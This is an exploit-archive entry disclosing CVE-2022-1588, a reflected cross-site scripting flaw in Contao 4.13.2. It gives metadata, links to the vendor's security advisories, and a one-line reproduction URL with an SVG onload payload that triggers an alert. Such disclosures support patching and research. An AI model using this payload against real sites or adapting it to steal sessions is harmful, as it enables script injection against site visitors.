Contao 4.13.2 - Cross-Site Scripting (XSS)

# Exploit Title: Contao 4.13.2 - Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 04/28/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://contao.org/en/
# Software Link: https://github.com/contao/contao/releases/tag/4.13.2
# Version: [ 4.13.2 ] 
# Tested on: [KALI OS]
# CVE : CVE-2022-1588
# References: 
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
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Steps to reproduce:
Navigate to the below URL
URL: https://localhost/contao/"><svg//onload=alert(112233)>